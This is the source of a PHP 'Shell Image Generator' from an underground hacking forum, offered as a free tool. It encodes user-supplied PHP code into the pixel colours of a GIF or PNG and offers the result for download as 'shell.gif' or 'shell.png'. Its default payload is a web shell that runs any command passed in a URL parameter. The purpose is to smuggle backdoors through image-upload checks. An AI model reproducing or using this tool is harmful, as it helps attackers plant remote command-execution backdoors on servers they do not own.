-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathPHPshelltoGIF-PNG.php
152 lines (140 loc) · 5.74 KB
/
PHPshelltoGIF-PNG.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<?php
/**
* @author paceusa
* @copyright 2013 mrlinkerrorsystem
*
* We hate Ripper!! Please don't remove or change original author name of posted article/code
* fixed it add your nick
*/
/**
* Any consequences in views of the use of scripts, techniques, codes, tutorials,
* and everything imaginable on this website are purely the responsibility of the user,
* NOT ExploreCrew or OTHER FORUM of posted this article/code.
* If you agree about this, continue reading.
* If you do not agree, please leave.
**/
session_start();
if(isset($_POST['scripts']))
{
if((strlen($_POST['scripts']) > 20) && (strlen($_POST['scripts']) < 6000))
{
@$_SESSION["scripts"] = base64_encode(@$_POST['scripts']);
@$_SESSION["image"] = $_POST['image'];
header("Location: ?set");
}else{
die('
<script type="text/javascript">
alert("minlength:20 and maxlength:6000")
window.location = "?";
</script>'
);
}
}
if(isset($_POST['reset']))
{
$_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
$_SESSION["image"] = "jpg";
header("Location: ?null");
}
/**
if((empty($_COOKIE['scripts'])) || ($_COOKIE['scripts'] == '') || ($_COOKIE['scripts'] == null))
{
$_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
$_SESSION["image"] = "jpg";
header("Location: ?null");
}
*/
$string = @base64_decode(@$_SESSION['scripts']);
$imageExt = trim(strtolower(@$_SESSION['image']));
if(isset($_GET['preview']))
{
$string = "\r\n".$string."\r\n<!-- \r\n\r\nShell Image Generator by Forum.ExploreCrew.Org\r\n\r\n";
;
$px = ((int)(strlen($string) / 3));
$arr_string = str_split($string,$px);
$im = @imagecreate(($px),($px)) or die("Cannot Initialize new GD image stream");
$arrString = array();
for($h = 0; $h < ($px); $h++)
{
$arrString = @$arr_string[$h];
$current = 0;
for($w = 0; $w < ($px); $w++)
{
if((@$arrString[$current + 0] != '') && (@$arrString[$current + 1] != '') && (@
$arrString[$current + 2] != ''))
{
$color_r = dechex(ord(@$arrString[$current + 0]));
$color_g = dechex(ord(@$arrString[$current + 1]));
$color_b = dechex(ord(@$arrString[$current + 2]));
$current = $current + 3;
$color = @imagecolorallocate($im,"0x$color_r","0x$color_g","0x$color_b");
imagesetpixel($im,$w,$h,$color);
}
}
}
//header("Content-Type: image/png");
switch(trim($imageExt))
{
case "gif":
imagegif($im,null);
break;
case "png":
imagepng($im,null);
break;
}
if(isset($_GET['download']))
{
header('Content-Disposition: attachment; filename="shell.'.$imageExt.'"');
}
imagedestroy($im);
die();
}
$download = sha1(rand(0,999)).'.'.$imageExt;
echo '<!DOCTYPE HTML>';
echo '<html>';
echo '<head>';
echo '<meta http-equiv="content-type" content="text/html" />';
echo '<meta name="author" content="ExploreCrew UnderGround" />';
echo '<title>SHELL IMAGE GENERATOR</title>';
echo '<style type="text/css">';
echo 'article{color:#aaa;margin: auto; position: relative;width:80%; border: 1px solid #eee;padding: 5px;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
echo 'div textarea,div select{ float: right;width:60%; font-size:1.0em;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
echo 'div input{ text-shadow: #333 0px 1px;color:#aaa; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
echo 'div input:hover{ text-shadow: #333 0px 1px;color:#000; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
echo 'div label{ color:#aaa;float: left;display:block; height:20px; font-size:1.0em;width:auto;}';
echo 'fieldset { background-color: #f8f8f8;width:auto;height:auto;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
echo 'textarea {height:125px;}';
echo 'legend {color:#333;text-shadow: #888 0px 1px;}';
echo 'form div {height:20px; clear:both; margin-bottom:6px; padding:5px 0px;}';
echo 'h3,h5 {text-align:center}';
echo '</style>';
echo '</head>';
echo '<body>';
echo '<article>';
echo '<h3>..:: SHELL IMAGE GENERATOR ::..</h3>';
echo '<h5>Free Tool by <a href="/">Pace USA</a></h5>';
echo '<form method="post" action="" enctype="multipart/form-data">';
echo '<fieldset>';
echo '<legend>SHELL</legend>';
echo '<div><label for="scripts">Yours Scripts</label><textarea name="scripts" id="scripts" maxlength="6000">'.
htmlentities($string).'</textarea></div>';
echo '<div>';
echo '<label for="image">Mime Type</label>';
echo '<select size="1" name="image">';
echo '<option value="gif">image/gif</option>';
echo '<option value="png">image/png</option>';
echo '</select>';
echo '</div>';
echo '<div><input type="submit" value="Reset" name="reset" id="generate"/><input type="submit" value="Generate" name="generate" id="generate"/></div>';
echo '</fieldset>';
echo '</form>';
echo '<fieldset>';
echo '<legend>YOUR SHELL IMAGE</legend>';
echo '<div></div>';
echo '<div><a href="?preview='.$download.'&download">Download</a></div>';
echo '</fieldset>';
echo '<small>Free Tool by <a href="/">PACE USA</a><small>';
echo '</article>';
echo '</body>';
echo '</html>';
?>